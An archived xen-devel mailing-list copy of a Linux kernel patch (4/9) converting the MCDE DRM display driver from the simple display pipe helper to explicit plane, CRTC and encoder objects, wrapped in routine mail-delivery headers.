 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 20:33:05 +0200
Received: from pps.filterd (m0279869.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 664GTV313485933
 for <xen-devel@lists.xenproject.org>; Sat, 4 Jul 2026 18:33:04 GMT
Received: from mail-pg1-f199.google.com (mail-pg1-f199.google.com
 [209.85.215.199])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4f6s64hgtw-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 18:33:04 +0000 (GMT)
Received: by mail-pg1-f199.google.com with SMTP id
 41be03b00d2f7-c88da04b719so1050728a12.2
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 11:33:03 -0700 (PDT)
Received: from [192.168.1.100] ([151.243.38.149])
 by smtp.gmail.com with ESMTPSA id
 d2e1a72fcca58-847f6b6057dsm1508437b3a.7.2026.07.04.11.32.56
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sat, 04 Jul 2026 11:33:02 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	eQ2wkGh9OQFPGIh6+CsATSCyNIJhVVQjedvP3yUcR8I=; b=piotc2XuZr1Bos25
	5+otg4KB3av2dGCjMnxed7l9UNU1sVMI2kUsiZRBoFsmF86yqMxA6CL0XqY4mJKJ
	uLWJ26w7JLB6hTr5Y3blAe6hFdllG5Aab+MVAsOysh3S6GhGS15NxNYaOuz0dnQJ
	htQBNF/gMJPFMGVxcqqLNF37XPK2aFHwhZSIAVMt9dTDs/ETvdinooP5J+47b0Hm
	Q9ekeu9T31+WduIFfsCcgQWiIX9OcelaDpS/L77sJM9YzYgVG060Xug0K2nH30TX
	Es+o2G8e7KL9jEKWjSOVlMEZrqiwc2DJvPfilJZMgXagYwb30oTfgLMCrpBA6syy
	Ia0rew==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1783189983; x=1783794783; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=eQ2wkGh9OQFPGIh6+CsATSCyNIJhVVQjedvP3yUcR8I=;
        b=Hh8YgH50MW3etcmtb0mMNOL4gJ8rm4z+l1y9qXyqCosuVQrlAMKttOkT+FdOEo2ajJ
         vVa1kPGAOGdsDu6s3k0J4zTyTdusQZvCn4/4F1r7iBK6P/Li79Rc3x77zAu4MS7qPo6L
         ZWvBgPkPtvSSYQf+SI86DENYv8kOD1jdtIXFEeG3Gz89mApTsjAO/dLNQxC9VN7eXs0Y
         oBpt5XaJFch3b+s35DZOMkPBHS2qym3cWDngKOHXAfx+d1oc6SZxC9ZmMTF/58kNARIY
         cYdooIbrxMA983aiflWjimVU7k66rO5RPl/r5VZ8q7F2LXfPTwkqJcAdS1EcEuHO+SJu
         CIPg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783189983; x=1783794783;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=eQ2wkGh9OQFPGIh6+CsATSCyNIJhVVQjedvP3yUcR8I=;
        b=UfiF1k6o0y3pJ0YMYeeaA7MpGPY+CDJs4/idj43Qq80r6XS7gcOeZ16NvgeH4xjNuF
         wp1vcSb2vgR4zPuWplJB4/RRbyXPSbukKOmccXQ8gWomG8IK0rmm+D5oRa5bPj9Yk8Nf
         yb6Q5aV7EN72viqIC4sxqFIRyjdyPU3Aqb8p9WrhtMD024DG//MnfDcDTEhES7ybGYzg
         9tGL5TWG5/RX4HV6P/Mk4vrGfXUhMiNtoNkJeaqtWZwEHyHYyMfYLbTm+ZK66pv7SXN8
         bQzgoIeMs+uyga0iiTD989CJ4VI1BpPkW/qWg26pxkyAQvOAiXDB/FnEMKr8iDtQIZzd
         YVCA==
X-Forwarded-Encrypted: i=1; AHgh+RogtXkfBY2wY2XCTHPwoy8M3Haz/Jtw8bPJiERS5MZwBB5NYhl9kE70A4AgsjvPxDIQrEE2Miaxr4M=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yz2bJnEp851j1KoQC35kAj6Pap8FV12ZjDq2j11loqwxbSpvyZm
	UsINGtzQy/ASLnARGNcr2sfRCJFoiW1MYX/gL8qy3f83Dq25q2Rns2HKoJ/qJm95zQNWmpymgH2
	dvViItlb/vv0MOnykGTn2RErAhbierDq0tIIT1dG3e3tLeCcjLyhQeLtH1f2yUNwgYS1WIQ==
X-Gm-Gg: AfdE7clMmPZJUF/KvstTetqrKhhDCdzwJQiJr7RAGbdYa016Qckxbz3gqdBcjw9I04b
	r0wHVEpFSnH0aMqQdZWXbM8WPfPbcN1tSll4GKFVViM9Wl2swVFnh/fMCoE0zJmPkAm3E4ZGSpY
	DTHDyl9YgGn/LAlo+dPDjks3fcMSIMLqaeUO0ATu9Y881fRzbkYT7apID57XcqmHSV4EKe2e3ue
	JLSsCHkfI4R5FjIXn1R9rqq9knXggtsqJlYGct133TbFeQfscZ5k5WtdAlCtY/tYAy3AnpvHm4H
	pdFbOBPrlVBlGV9cE/TqiHpmyCnqkWwBpYOxc8yeHUqhDf4EwW6yeYKGTDwiIfj7LZjaWIPAUuK
	8fXtb7UXgdmUQbsOCoKPN5FE=
X-Received: by 2002:a05:6a00:330c:b0:847:7f7a:dd18 with SMTP id d2e1a72fcca58-847f6d663f2mr3781696b3a.3.1783189982984;
        Sat, 04 Jul 2026 11:33:02 -0700 (PDT)
X-Received: by 2002:a05:6a00:330c:b0:847:7f7a:dd18 with SMTP id d2e1a72fcca58-847f6d663f2mr3781665b3a.3.1783189982458;
        Sat, 04 Jul 2026 11:33:02 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Sun, 05 Jul 2026 02:31:13 +0800
Subject: [PATCH 4/9] drm/mcde: replace struct drm_simple_display_pipe with
 regular atomic helpers
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260705-drm-simple-kms-removal-v1-4-b4e1ca053623@oss.qualcomm.com>
References: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com>
In-Reply-To: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com>
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.15.2
X-Developer-Signature: v=1; a=ed25519-sha256; t=1783189912; l=10718;
 i=ze.huang@oss.qualcomm.com; s=20260704; h=from:subject:message-id;
 bh=Qcol9fj3wcEepZH3ImnK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3BUC5bxBd2b0rxqrJgA:9 a=QEXdDO2ut3YA:10
 a=_Vgx9l1VpLgwpw_dHYaR:22
X-Proofpoint-ORIG-GUID: Ig7xOkd75prW22cNA6v3IqdQQyk2rcLX
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzA0MDE5MiBTYWx0ZWRfX6HHiO1Rs+bAP
 4an3C/RKMnxrZETM2l6vb8wp0hRYylPER7kFYi2iGIpil83OPE0AZ8I69W8/Op+tSqah1p+CeGF
 SDKg96UbsEm8OzJz3pWnxX9iI3sFR7U=
X-Proofpoint-GUID: Ig7xOkd75prW22cNA6v3IqdQQyk2rcLX
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.125,FMLib:17.12.100.49
 definitions=2026-07-04_02,2026-07-03_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 malwarescore=0 spamscore=0 suspectscore=0 bulkscore=0 adultscore=0
 priorityscore=1501 lowpriorityscore=0 phishscore=0 clxscore=1011
 impostorscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607040192
X-purgate-ID: tlsNG-c201ff/1783189985-0E7132B8-CC17D6E1/0/0
X-purgate-type: clean
X-purgate-size: 10720

Convert MCDE to explicit plane, CRTC and encoder objects.

Keep FIFO, event and framebuffer update sequencing intact, and install
GEM framebuffer prepare callback explicitly.

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
---
 drivers/gpu/drm/mcde/mcde_display.c | 162 +++++++++++++++++++++++++++---------
 drivers/gpu/drm/mcde/mcde_drm.h     |   6 +-
 drivers/gpu/drm/mcde/mcde_drv.c     |   3 +-
 3 files changed, 129 insertions(+), 42 deletions(-)

diff --git a/drivers/gpu/drm/mcde/mcde_display.c b/drivers/gpu/drm/mcde/mcde_display.c
index 257a6e84dd58..4d86fa5030eb 100644
--- a/drivers/gpu/drm/mcde/mcde_display.c
+++ b/drivers/gpu/drm/mcde/mcde_display.c
@@ -10,6 +10,7 @@
 #include <linux/regulator/consumer.h>
 #include <linux/media-bus-format.h>
 
+#include <drm/drm_atomic_helper.h>
 #include <drm/drm_device.h>
 #include <drm/drm_fb_dma_helper.h>
 #include <drm/drm_fourcc.h>
@@ -18,7 +19,6 @@
 #include <drm/drm_gem_dma_helper.h>
 #include <drm/drm_mipi_dsi.h>
 #include <drm/drm_print.h>
-#include <drm/drm_simple_kms_helper.h>
 #include <drm/drm_bridge.h>
 #include <drm/drm_vblank.h>
 #include <video/mipi_display.h>
@@ -132,7 +132,7 @@ void mcde_display_irq(struct mcde *mcde)
 	writel(mispp, mcde->regs + MCDE_RISPP);
 
 	if (vblank)
-		drm_crtc_handle_vblank(&mcde->pipe.crtc);
+		drm_crtc_handle_vblank(&mcde->crtc);
 
 	if (misovl)
 		dev_info(mcde->dev, "some stray overlay IRQ %08x\n", misovl);
@@ -157,13 +157,35 @@ void mcde_display_disable_irqs(struct mcde *mcde)
 	writel(0xFFFFFFFF, mcde->regs + MCDE_RISCHNL);
 }
 
-static int mcde_display_check(struct drm_simple_display_pipe *pipe,
-			      struct drm_plane_state *pstate,
-			      struct drm_crtc_state *cstate)
+static int mcde_plane_helper_atomic_check(struct drm_plane *plane,
+					  struct drm_atomic_commit *state)
 {
-	const struct drm_display_mode *mode = &cstate->mode;
-	struct drm_framebuffer *old_fb = pipe->plane.state->fb;
+	struct drm_plane_state *pstate = drm_atomic_get_new_plane_state(state, plane);
+	struct drm_crtc *crtc = pstate->crtc;
+	struct drm_crtc_state *cstate;
+	const struct drm_display_mode *mode;
+	struct drm_framebuffer *old_fb = plane->state->fb;
 	struct drm_framebuffer *fb = pstate->fb;
+	int ret;
+
+	if (!crtc)
+		return 0;
+
+	cstate = drm_atomic_get_new_crtc_state(state, crtc);
+	if (!cstate)
+		return 0;
+
+	ret = drm_atomic_helper_check_plane_state(pstate, cstate,
+						  DRM_PLANE_NO_SCALING,
+						  DRM_PLANE_NO_SCALING,
+						  false, false);
+	if (ret)
+		return ret;
+
+	if (!pstate->visible)
+		return 0;
+
+	mode = &cstate->mode;
 
 	if (fb) {
 		u32 offset = drm_fb_dma_get_gem_addr(fb, pstate, 0);
@@ -1149,16 +1171,14 @@ static void mcde_setup_dsi(struct mcde *mcde, const struct drm_display_mode *mod
 	*dsi_formatter_frame = formatter_frame;
 }
 
-static void mcde_display_enable(struct drm_simple_display_pipe *pipe,
-				struct drm_crtc_state *cstate,
-				struct drm_plane_state *plane_state)
+static void mcde_crtc_helper_atomic_enable(struct drm_crtc *crtc,
+					   struct drm_atomic_commit *state)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_plane *plane = &pipe->plane;
 	struct drm_device *drm = crtc->dev;
 	struct mcde *mcde = to_mcde(drm);
+	struct drm_crtc_state *cstate = crtc->state;
 	const struct drm_display_mode *mode = &cstate->mode;
-	struct drm_framebuffer *fb = plane->state->fb;
+	struct drm_framebuffer *fb = mcde->plane.state->fb;
 	u32 format = fb->format->format;
 	int dsi_pkt_size;
 	int fifo_wtrmrk;
@@ -1298,9 +1318,9 @@ static void mcde_display_enable(struct drm_simple_display_pipe *pipe,
 	dev_info(drm->dev, "MCDE display is enabled\n");
 }
 
-static void mcde_display_disable(struct drm_simple_display_pipe *pipe)
+static void mcde_crtc_helper_atomic_disable(struct drm_crtc *crtc,
+					    struct drm_atomic_commit *state)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
 	struct drm_device *drm = crtc->dev;
 	struct mcde *mcde = to_mcde(drm);
 	struct drm_pending_vblank_event *event;
@@ -1381,17 +1401,23 @@ static void mcde_set_extsrc(struct mcde *mcde, u32 buffer_address)
 	writel(buffer_address + mcde->stride, mcde->regs + MCDE_EXTSRCXA1);
 }
 
-static void mcde_display_update(struct drm_simple_display_pipe *pipe,
-				struct drm_plane_state *old_pstate)
+static void mcde_plane_helper_atomic_update(struct drm_plane *plane,
+					    struct drm_atomic_commit *state)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_device *drm = crtc->dev;
-	struct mcde *mcde = to_mcde(drm);
-	struct drm_pending_vblank_event *event = crtc->state->event;
-	struct drm_plane *plane = &pipe->plane;
+	struct drm_crtc *crtc = plane->state->crtc;
+	struct drm_device *drm;
+	struct mcde *mcde;
+	struct drm_pending_vblank_event *event;
 	struct drm_plane_state *pstate = plane->state;
 	struct drm_framebuffer *fb = pstate->fb;
 
+	if (!crtc)
+		return;
+
+	drm = crtc->dev;
+	mcde = to_mcde(drm);
+	event = crtc->state->event;
+
 	/*
 	 * Handle any pending event first, we need to arm the vblank
 	 * interrupt before sending any update to the display so we don't
@@ -1443,9 +1469,8 @@ static void mcde_display_update(struct drm_simple_display_pipe *pipe,
 	}
 }
 
-static int mcde_display_enable_vblank(struct drm_simple_display_pipe *pipe)
+static int mcde_crtc_enable_vblank(struct drm_crtc *crtc)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
 	struct drm_device *drm = crtc->dev;
 	struct mcde *mcde = to_mcde(drm);
 	u32 val;
@@ -1462,9 +1487,8 @@ static int mcde_display_enable_vblank(struct drm_simple_display_pipe *pipe)
 	return 0;
 }
 
-static void mcde_display_disable_vblank(struct drm_simple_display_pipe *pipe)
+static void mcde_crtc_disable_vblank(struct drm_crtc *crtc)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
 	struct drm_device *drm = crtc->dev;
 	struct mcde *mcde = to_mcde(drm);
 
@@ -1474,13 +1498,56 @@ static void mcde_display_disable_vblank(struct drm_simple_display_pipe *pipe)
 	writel(0xFFFFFFFF, mcde->regs + MCDE_RISPP);
 }
 
-static struct drm_simple_display_pipe_funcs mcde_display_funcs = {
-	.check = mcde_display_check,
-	.enable = mcde_display_enable,
-	.disable = mcde_display_disable,
-	.update = mcde_display_update,
-	.enable_vblank = mcde_display_enable_vblank,
-	.disable_vblank = mcde_display_disable_vblank,
+static int mcde_crtc_helper_atomic_check(struct drm_crtc *crtc, struct drm_atomic_commit *state)
+{
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(state, crtc);
+	int ret;
+
+	if (!crtc_state->enable)
+		goto out;
+
+	ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
+	if (ret)
+		return ret;
+
+out:
+	return drm_atomic_add_affected_planes(state, crtc);
+}
+
+static const struct drm_crtc_funcs mcde_crtc_funcs = {
+	.reset			= drm_atomic_helper_crtc_reset,
+	.destroy		= drm_crtc_cleanup,
+	.set_config		= drm_atomic_helper_set_config,
+	.page_flip		= drm_atomic_helper_page_flip,
+	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
+	.enable_vblank		= mcde_crtc_enable_vblank,
+	.disable_vblank		= mcde_crtc_disable_vblank,
+};
+
+static const struct drm_crtc_helper_funcs mcde_crtc_helper_funcs = {
+	.atomic_check	= mcde_crtc_helper_atomic_check,
+	.atomic_enable	= mcde_crtc_helper_atomic_enable,
+	.atomic_disable	= mcde_crtc_helper_atomic_disable,
+};
+
+static const struct drm_plane_funcs mcde_plane_funcs = {
+	.update_plane		= drm_atomic_helper_update_plane,
+	.disable_plane		= drm_atomic_helper_disable_plane,
+	.reset			= drm_atomic_helper_plane_reset,
+	.destroy		= drm_plane_cleanup,
+	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
+};
+
+static const struct drm_plane_helper_funcs mcde_plane_helper_funcs = {
+	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
+	.atomic_check	= mcde_plane_helper_atomic_check,
+	.atomic_update	= mcde_plane_helper_atomic_update,
+};
+
+static const struct drm_encoder_funcs mcde_encoder_funcs = {
+	.destroy = drm_encoder_cleanup,
 };
 
 int mcde_display_init(struct drm_device *drm)
@@ -1510,11 +1577,30 @@ int mcde_display_init(struct drm_device *drm)
 	if (ret)
 		return ret;
 
-	ret = drm_simple_display_pipe_init(drm, &mcde->pipe,
-					   &mcde_display_funcs,
-					   formats, ARRAY_SIZE(formats),
-					   NULL,
-					   mcde->connector);
+	ret = drm_universal_plane_init(drm, &mcde->plane, 0,
+				       &mcde_plane_funcs,
+				       formats, ARRAY_SIZE(formats),
+				       NULL, DRM_PLANE_TYPE_PRIMARY, NULL);
+	if (ret)
+		return ret;
+
+	drm_plane_helper_add(&mcde->plane, &mcde_plane_helper_funcs);
+
+	ret = drm_crtc_init_with_planes(drm, &mcde->crtc, &mcde->plane,
+					NULL, &mcde_crtc_funcs, NULL);
+	if (ret)
+		return ret;
+
+	drm_crtc_helper_add(&mcde->crtc, &mcde_crtc_helper_funcs);
+
+	ret = drm_encoder_init(drm, &mcde->encoder, &mcde_encoder_funcs,
+			       DRM_MODE_ENCODER_NONE, NULL);
+	if (ret)
+		return ret;
+
+	mcde->encoder.possible_crtcs = drm_crtc_mask(&mcde->crtc);
+
+	ret = drm_connector_attach_encoder(mcde->connector, &mcde->encoder);
 	if (ret)
 		return ret;
 
diff --git a/drivers/gpu/drm/mcde/mcde_drm.h b/drivers/gpu/drm/mcde/mcde_drm.h
index ecb70b4b737c..6123afb1e3b8 100644
--- a/drivers/gpu/drm/mcde/mcde_drm.h
+++ b/drivers/gpu/drm/mcde/mcde_drm.h
@@ -4,7 +4,7 @@
  * Parts of this file were based on the MCDE driver by Marcus Lorentzon
  * (C) ST-Ericsson SA 2013
  */
-#include <drm/drm_simple_kms_helper.h>
+#include <drm/drm_encoder.h>
 
 #ifndef _MCDE_DRM_H_
 #define _MCDE_DRM_H_
@@ -72,7 +72,9 @@ struct mcde {
 	struct drm_panel *panel;
 	struct drm_bridge *bridge;
 	struct drm_connector *connector;
-	struct drm_simple_display_pipe pipe;
+	struct drm_plane plane;
+	struct drm_crtc crtc;
+	struct drm_encoder encoder;
 	struct mipi_dsi_device *mdsi;
 	bool dpi_output;
 	s16 stride;
diff --git a/drivers/gpu/drm/mcde/mcde_drv.c b/drivers/gpu/drm/mcde/mcde_drv.c
index 5f2c462bad7e..401cf8ab83bc 100644
--- a/drivers/gpu/drm/mcde/mcde_drv.c
+++ b/drivers/gpu/drm/mcde/mcde_drv.c
@@ -186,8 +186,7 @@ static int mcde_modeset_init(struct drm_device *drm)
 	}
 
 	/* Attach the bridge. */
-	ret = drm_simple_display_pipe_attach_bridge(&mcde->pipe,
-						    mcde->bridge);
+	ret = drm_bridge_attach(&mcde->encoder, mcde->bridge, NULL, 0);
 	if (ret) {
 		dev_err(drm->dev, "failed to attach display output bridge\n");
 		return ret;

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 05 05:45:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 05 Jul 2026 05:45:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1354495.1609782 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgFfm-00033S-21; Sun, 05 Jul 2026 05:45:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1354495.1609782; Sun, 05 Jul 2026 05:45:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgFfl-00032F-V1; Sun, 05 Jul 2026 05:45:45 +0000
Received: by outflank-mailman (input) for mailman id 1354495;
 Sat, 04 Jul 2026 18:32:47 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wg5AV-0000QD-I8
 for xen-devel@lists.xenproject.org; Sat, 04 Jul 2026 18:32:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wg5AT-00FFmi-QD
 for xen-devel@lists.xenproject.org; Sat, 04 Jul 2026 20:32:45 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a495181-2eae-0a2a0a5409dd-0a2a4507dce0-24
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 20:32:45 +0200
Received: from [205.220.180.131] (helo=mx0b-0031df01.pphosted.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a4951cc-9c8e-0a2a45070019-cddcb483d396-3
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 20:32:45 +0200
Received: from pps.filterd (m0279872.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 664G9NZh3274532
 for <xen-devel@lists.xenproject.org>; Sat, 4 Jul 2026 18:32:43 GMT
Received: from mail-pf1-f199.google.com (mail-pf1-f199.google.com
 [209.85.210.199])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4f6tj8hawc-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 18:32:43 +0000 (GMT)
Received: by mail-pf1-f199.google.com with SMTP id
 d2e1a72fcca58-8478423e020so2624916b3a.0
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 11:32:43 -0700 (PDT)
Received: from [192.168.1.100] ([151.243.38.149])
 by smtp.gmail.com with ESMTPSA id
 d2e1a72fcca58-847f6b6057dsm1508437b3a.7.2026.07.04.11.32.33
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sat, 04 Jul 2026 11:32:40 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	hhnZnblLCIszQtw+LJyheg1p5e5bbTPNhk3k4G3KLZE=; b=HigA/YvowAIAk3nt
	u90/giw64WMUkmqqUONEvT6QA+HElUmhEe9nMBPgMGXIiCsru/1th/i+26Ti+VPU
	VqC6CR+1O9aO7xlv3V2IfALvNs/JXPFhhXYQAmu8RnGmT3VXS/g/KZNAnMfyf63V
	Kxhyq+2qPDB+3/CZZhBC+/vDo6fJXQUA6q2doODDUnsQQbXtgKhPlWs1zZiIS+dp
	88CkD6YJ8VmeESdB3zsViZszqFk4ECq1XxJqVbJ3sQ/6CblyG65fIcGJ57s8eKMO
	zG7GjLSO340QWRV/QKuGOEVfrnh3WJSLZuI1zRXFhRyJJOBAPwB1Ox1/tpWOJhNK
	P4/oWg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1783189962; x=1783794762; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :mime-version:subject:date:from:from:to:cc:subject:date:message-id
         :reply-to;
        bh=hhnZnblLCIszQtw+LJyheg1p5e5bbTPNhk3k4G3KLZE=;
        b=HPvn1EDXam69XHyuF2qeyXcGZ2Jjxrqx22wBOoWk4k5nNwsALG9FBZ7fqQK13hWnfP
         xiEd1uK/zkBsmOnVvsO6AvhqDhFfPsXUug5IBcROghCzc8W1xmjkhOFDKLB9JKOV41oG
         coQTBzgN9rXBMIHr1SUox7uxy2q+MOFhXYadMyKCM6m0Y70ro7/jpshYx3G77YETVaVN
         jkWEyNRPZFiz25rAgs895usAHtd89LNYr2W4AVQCp2qiaRm3DoU+Cl+Bzprne+8R67ZZ
         zA6TxN2ocZV2ircaU5+P2Nit/BhqbHqe1frp0zTSDMKbs0O9waQfcpnhl778QV44ccT1
         fS4A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783189962; x=1783794762;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :mime-version:subject:date:from:x-gm-gg:x-gm-message-state:from:to
         :cc:subject:date:message-id:reply-to;
        bh=hhnZnblLCIszQtw+LJyheg1p5e5bbTPNhk3k4G3KLZE=;
        b=i8jCWh63mhu3Mh8RYzSv6LSVe4lF7jW/EO4y5jCq9WSNpZDGgOLP78vkAnfLpgTMRZ
         G245oDcANhU1bz6REZfn+vWpbYuXXEYsaJ5Sd373rVBkI2F5n1TruMbospgkZb4l7A/v
         W5YpfFqPrWKIWK0wQ/2Zzc0WBS5QSvlgiTHH+F+uh/RZCIZ7Izm+nL2SOIFst1Q63MgT
         YbON1JCebz/Q9NDUxy3JxonItp8IoyK8iPv5P+a504BBbBBjQNGZs4JBBF9luKDCI5nZ
         UqOZc6DwaP6glWdhrE9u5USym1aJmb6hQNTzLaavrxxM8TU94o3S1LkxIPa6FT13ym3+
         qcRQ==
X-Forwarded-Encrypted: i=1; AHgh+RqZXqUveDOnJiQ+9FSb2uVvdL6BkUY56ysl6PouWpSoWrejnTDnQBFKg2Pa9jkaqBdA50Sjj3NrJ5g=@lists.xenproject.org
